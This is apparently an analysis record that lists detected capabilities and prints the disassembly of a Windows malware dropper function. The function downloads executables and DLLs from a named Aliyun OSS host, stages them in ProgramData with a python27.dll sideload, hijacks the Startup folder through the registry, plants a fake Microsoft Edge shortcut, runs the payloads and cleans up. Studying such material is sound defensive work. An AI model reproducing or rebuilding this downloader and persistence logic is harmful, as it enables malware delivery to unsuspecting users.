Function at 0x140001a10
Capabilities:
Create directory
Create process on windows
Delete directory
Enumerate gui resources
Get common file path
Set registry value

Disassembly:
push rbp
lea rbp, [rsp - 0xf90]
mov eax, 0x1090
call fcn.14000e8d0
sub rsp, rax
mov qword [rbp + 0x188], 0xfffffffffffffffe
mov qword [rsp + 0x10a0], rdi
mov qword [rsp + 0x10a8], r12
mov qword [rsp + 0x10b0], r13
mov qword [rsp + 0x10b8], r14
mov r12, rcx
lea rdx, [rbp + 0x4f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.140001600
mov r9, rax
lea r8, [rbp + 0x4f0]
lea rdx, str._squick.exe
lea rcx, [rbp + 0x600]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x600]
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_quick.exe
call fcn.1400014d0
call fcn.140001600
mov r9, rax
lea r8, [rbp + 0x4f0]
lea rdx, str._sXLBugHandler.dll
lea rcx, [rbp + 0x710]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x710]
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_XLBugHandler.dll
call fcn.1400014d0
call fcn.140001600
mov r9, rax
lea r8, [rbp + 0x4f0]
lea rdx, str._sThunder.exe
lea rcx, [rbp + 0x930]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x930]
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_Thunder.exe
call fcn.1400014d0
lea rcx, [rbp + 0x190]
call fcn.140001060
nop
lea rcx, [rbp + 0x160]
call fcn.140001060
nop
mov qword [rbp - 0x40], 0xf
xor r13d, r13d
mov qword [rbp - 0x48], r13
mov byte [rbp - 0x58], r13b
lea r8d, [r13 + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x58]
call fcn.140003970
nop
lea r8, [0x140018a90]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x98]
call fcn.1400043c0
nop
lea r8, [rbp + 0x190]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140004430
nop
lea r8, [0x140018a90]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.1400043c0
nop
lea r8, [rbp + 0x160]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140004430
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.1400043c0
nop
cmp qword [rbp + 0x38], 0x10
jb 0x140001bc6
mov rcx, qword [rbp + 0x20]
call fcn.140006630
mov qword [rbp + 0x38], 0xf
mov qword [rbp + 0x30], r13
mov byte [rbp + 0x20], 0
cmp qword [rbp + 0x60], 0x10
jb 0x140001be6
mov rcx, qword [rbp + 0x48]
call fcn.140006630
mov qword [rbp + 0x60], 0xf
mov qword [rbp + 0x58], r13
mov byte [rbp + 0x48], 0
cmp qword [rbp + 0x88], 0x10
jb 0x140001c09
mov rcx, qword [rbp + 0x70]
call fcn.140006630
mov qword [rbp + 0x88], 0xf
mov qword [rbp + 0x80], r13
mov byte [rbp + 0x70], 0
cmp qword [rbp + 0xb0], 0x10
jb 0x140001c35
mov rcx, qword [rbp + 0x98]
call fcn.140006630
mov qword [rbp + 0xb0], 0xf
mov qword [rbp + 0xa8], r13
mov byte [rbp + 0x98], 0
cmp qword [rbp - 0x40], 0x10
jb 0x140001c5e
mov rcx, qword [rbp - 0x58]
call fcn.140006630
mov qword [rbp - 0x40], 0xf
mov qword [rbp - 0x48], r13
mov byte [rbp - 0x58], 0
mov qword [rbp + 0x10], 0xf
mov qword [rbp + 8], r13
mov byte [rbp - 8], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 8]
call fcn.140003970
nop
lea r8, [0x140018a90]
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x80]
call fcn.1400043c0
nop
lea r8, [rbp + 0x190]
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140004430
cmp qword [rax + 0x18], 0x10
jb 0x140001cc7
mov rax, qword [rax]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp qword [rbp - 0x18], 0x10
jb 0x140001ce2
mov rcx, qword [rbp - 0x30]
call fcn.140006630
mov qword [rbp - 0x18], 0xf
mov qword [rbp - 0x20], r13
mov byte [rbp - 0x30], 0
cmp qword [rbp - 0x68], 0x10
jb 0x140001d02
mov rcx, qword [rbp - 0x80]
call fcn.140006630
mov qword [rbp - 0x68], 0xf
mov qword [rbp - 0x70], r13
mov byte [rbp - 0x80], 0
cmp qword [rbp + 0x10], 0x10
jb 0x140001d22
mov rcx, qword [rbp - 8]
call fcn.140006630
lea r8, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae r8, qword [rbp + 0xc0]
lea rdx, [0x140018a94]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x1c0]
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_1.exe
call fcn.1400014d0
mov qword [rsp + 0x70], 0xf
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x58], 0
xor eax, eax
or r14, 0xffffffffffffffff
mov rcx, r14
lea rdi, [rbp + 0x1c0]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x1c0]
lea rcx, [rsp + 0x58]
call fcn.140003970
nop
mov rcx, qword [rsp + 0x68]
cmp rcx, 1
jb 0x140001df6
dec rcx
cmp rcx, r14
cmova rcx, r14
lea rdi, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdi, qword [rsp + 0x58]
add rdi, rcx
cmp byte [rdi], 0x5c
je 0x140001de0
lea rcx, [rsp + 0x58]
call fcn.140003790
cmp rdi, rax
je 0x140001df6
dec rdi
jmp 0x140001dc7
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rax, qword [rsp + 0x58]
sub rdi, rax
jmp 0x140001df9
mov rdi, r14
lea r8, [rdi + 1]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x58]
call fcn.140003330
nop
lea r8, str.python27.dll
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400043c0
mov rdi, rax
lea rax, [rsp + 0x58]
cmp rax, rdi
je 0x140001e93
cmp qword [rsp + 0x70], 0x10
jb 0x140001e3e
mov rcx, qword [rsp + 0x58]
call fcn.140006630
mov qword [rsp + 0x70], 0xf
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x58], 0
cmp qword [rdi + 0x18], 0x10
jae 0x140001e6e
mov r8, qword [rdi + 0x10]
inc r8
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.140005be0
jmp 0x140001e79
mov rax, qword [rdi]
mov qword [rsp + 0x58], rax
mov qword [rdi], r13
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x68], rax
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x70], rax
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], r13
cmp qword [rbp - 0x68], 0x10
jb 0x140001ea3
mov rcx, qword [rbp - 0x80]
call fcn.140006630
mov qword [rbp - 0x68], 0xf
mov qword [rbp - 0x70], r13
mov byte [rbp - 0x80], 0
cmp qword [rbp - 0x18], 0x10
jb 0x140001ec3
mov rcx, qword [rbp - 0x30]
call fcn.140006630
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae r8, qword [rsp + 0x58]
lea rdx, [0x140018a94]
lea rcx, [rbp + 0xd70]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0xd70]
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_1.dll
call fcn.1400014d0
lea rcx, [rbp + 0x110]
call fcn.140001060
nop
lea rcx, [rbp + 0x138]
call fcn.140001060
nop
mov qword [rbp - 0x40], 0xf
mov qword [rbp - 0x48], r13
mov byte [rbp - 0x58], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x58]
call fcn.140003970
nop
lea r8, [0x140018a90]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x70]
call fcn.1400043c0
nop
lea r8, [rbp + 0x110]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140004430
nop
lea r8, [0x140018a90]
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.1400043c0
nop
lea r8, [rbp + 0x138]
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140004430
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.1400043c0
nop
cmp qword [rbp - 0x68], 0x10
jb 0x140001fb7
mov rcx, qword [rbp - 0x80]
call fcn.140006630
mov qword [rbp - 0x68], 0xf
mov qword [rbp - 0x70], r13
mov byte [rbp - 0x80], 0
cmp qword [rbp - 0x18], 0x10
jb 0x140001fd7
mov rcx, qword [rbp - 0x30]
call fcn.140006630
mov qword [rbp - 0x18], 0xf
mov qword [rbp - 0x20], r13
mov byte [rbp - 0x30], 0
cmp qword [rbp + 0xb0], 0x10
jb 0x140001ffd
mov rcx, qword [rbp + 0x98]
call fcn.140006630
mov qword [rbp + 0xb0], 0xf
mov qword [rbp + 0xa8], r13
mov byte [rbp + 0x98], 0
cmp qword [rbp + 0x88], 0x10
jb 0x140002029
mov rcx, qword [rbp + 0x70]
call fcn.140006630
mov qword [rbp + 0x88], 0xf
mov qword [rbp + 0x80], r13
mov byte [rbp + 0x70], 0
cmp qword [rbp - 0x40], 0x10
jb 0x14000204f
mov rcx, qword [rbp - 0x58]
call fcn.140006630
mov qword [rbp - 0x40], 0xf
mov qword [rbp - 0x48], r13
mov byte [rbp - 0x58], 0
mov qword [rbp + 0x10], 0xf
mov qword [rbp + 8], r13
mov byte [rbp - 8], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 8]
call fcn.140003970
nop
lea r8, [0x140018a90]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x20]
call fcn.1400043c0
nop
lea r8, [rbp + 0x110]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140004430
cmp qword [rax + 0x18], 0x10
jb 0x1400020b8
mov rax, qword [rax]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp qword [rbp + 0x60], 0x10
jb 0x1400020d3
mov rcx, qword [rbp + 0x48]
call fcn.140006630
mov qword [rbp + 0x60], 0xf
mov qword [rbp + 0x58], r13
mov byte [rbp + 0x48], 0
cmp qword [rbp + 0x38], 0x10
jb 0x1400020f3
mov rcx, qword [rbp + 0x20]
call fcn.140006630
mov qword [rbp + 0x38], 0xf
mov qword [rbp + 0x30], r13
mov byte [rbp + 0x20], 0
cmp qword [rbp + 0x10], 0x10
jb 0x140002113
mov rcx, qword [rbp - 8]
call fcn.140006630
lea r8, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae r8, qword [rbp + 0xe8]
lea rdx, [0x140018a94]
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x2d0]
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_1.exe
call fcn.1400014d0
mov qword [rsp + 0x48], 0xf
mov qword [rsp + 0x40], r13
mov byte [rsp + 0x30], 0
xor eax, eax
mov rcx, r14
lea rdi, [rbp + 0x2d0]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x2d0]
lea rcx, [rsp + 0x30]
call fcn.140003970
nop
mov rcx, qword [rsp + 0x40]
cmp rcx, 1
jb 0x1400021e4
dec rcx
cmp rcx, 0xffffffffffffffff
cmova rcx, r14
lea rdi, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdi, qword [rsp + 0x30]
add rdi, rcx
cmp byte [rdi], 0x5c
je 0x1400021ce
lea rcx, [rsp + 0x30]
call fcn.140003790
cmp rdi, rax
je 0x1400021e4
dec rdi
jmp 0x1400021b5
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rax, qword [rsp + 0x30]
sub rdi, rax
jmp 0x1400021e7
mov rdi, r14
lea r8, [rdi + 1]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x30]
call fcn.140003330
nop
lea r8, str.python27.dll
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400043c0
mov rdi, rax
lea rax, [rsp + 0x30]
cmp rax, rdi
je 0x140002281
cmp qword [rsp + 0x48], 0x10
jb 0x14000222c
mov rcx, qword [rsp + 0x30]
call fcn.140006630
mov qword [rsp + 0x48], 0xf
mov qword [rsp + 0x40], r13
mov byte [rsp + 0x30], 0
cmp qword [rdi + 0x18], 0x10
jae 0x14000225c
mov r8, qword [rdi + 0x10]
inc r8
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140005be0
jmp 0x140002267
mov rax, qword [rdi]
mov qword [rsp + 0x30], rax
mov qword [rdi], r13
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x40], rax
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x48], rax
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], r13
cmp qword [rbp - 0x68], 0x10
jb 0x140002291
mov rcx, qword [rbp - 0x80]
call fcn.140006630
mov qword [rbp - 0x68], 0xf
mov qword [rbp - 0x70], r13
mov byte [rbp - 0x80], 0
cmp qword [rbp - 0x18], 0x10
jb 0x1400022b1
mov rcx, qword [rbp - 0x30]
call fcn.140006630
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae r8, qword [rsp + 0x30]
lea rdx, [0x140018a94]
lea rcx, [rbp + 0xa40]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0xa40]
lea rcx, str.https:__231103.oss_cn_hongkong.aliyuncs.com_1.dll
call fcn.1400014d0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001600
mov r9, rax
lea r8, [rbp + 0x4f0]
lea rdx, str._sqiqi_s
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.140001600
mov r9, rax
lea r8, [rbp + 0x3e0]
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x820]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8, r12
lea rdx, str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
lea rcx, [rbp + 0xb50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0xb50]
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x820]
call fcn.1400016f0
call fcn.140001600
mov r9, rax
mov r8, r12
lea rdx, str._sMicrosoft_Edge.lnk
lea rcx, [rbp + 0xe80]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1c0]
lea rdx, str.__s_
lea rcx, [rbp + 0xc60]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0xc60]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0xe80]
call fcn.1400016f0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x14000241b
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [0x1400019d0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x2d0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x140002468
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [0x1400019d0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x820]
call fcn.140006118
lea rcx, [rbp + 0x600]
call fcn.140006118
lea rcx, [rbp + 0x710]
call fcn.140006118
lea rcx, [rbp + 0x930]
call fcn.140006118
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
nop
cmp qword [rsp + 0x48], 0x10
jb 0x1400024c3
mov rcx, qword [rsp + 0x30]
call fcn.140006630
mov qword [rsp + 0x48], 0xf
mov qword [rsp + 0x40], r13
mov byte [rsp + 0x30], 0
cmp qword [rbp + 0x100], 0x10
jb 0x1400024ec
mov rcx, qword [rbp + 0xe8]
call fcn.140006630
mov qword [rbp + 0x100], 0xf
mov qword [rbp + 0xf8], r13
mov byte [rbp + 0xe8], 0
cmp qword [rbp + 0x150], 0x10
jb 0x14000251b
mov rcx, qword [rbp + 0x138]
call fcn.140006630
mov qword [rbp + 0x150], 0xf
mov qword [rbp + 0x148], r13
mov byte [rbp + 0x138], 0
cmp qword [rbp + 0x128], 0x10
jb 0x14000254a
mov rcx, qword [rbp + 0x110]
call fcn.140006630
mov qword [rbp + 0x128], 0xf
mov qword [rbp + 0x120], r13
mov byte [rbp + 0x110], 0
cmp qword [rsp + 0x70], 0x10
jb 0x140002575
mov rcx, qword [rsp + 0x58]
call fcn.140006630
mov qword [rsp + 0x70], 0xf
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x58], 0
cmp qword [rbp + 0xd8], 0x10
jb 0x14000259e
mov rcx, qword [rbp + 0xc0]
call fcn.140006630
mov qword [rbp + 0xd8], 0xf
mov qword [rbp + 0xd0], r13
mov byte [rbp + 0xc0], 0
cmp qword [rbp + 0x178], 0x10
jb 0x1400025cd
mov rcx, qword [rbp + 0x160]
call fcn.140006630
mov qword [rbp + 0x178], 0xf
mov qword [rbp + 0x170], r13
mov byte [rbp + 0x160], 0
cmp qword [rbp + 0x1a8], 0x10
jb 0x1400025fc
mov rcx, qword [rbp + 0x190]
call fcn.140006630
lea r11, [rsp + 0x1090]
mov rdi, qword [r11 + 0x10]
mov r12, qword [r11 + 0x18]
mov r13, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret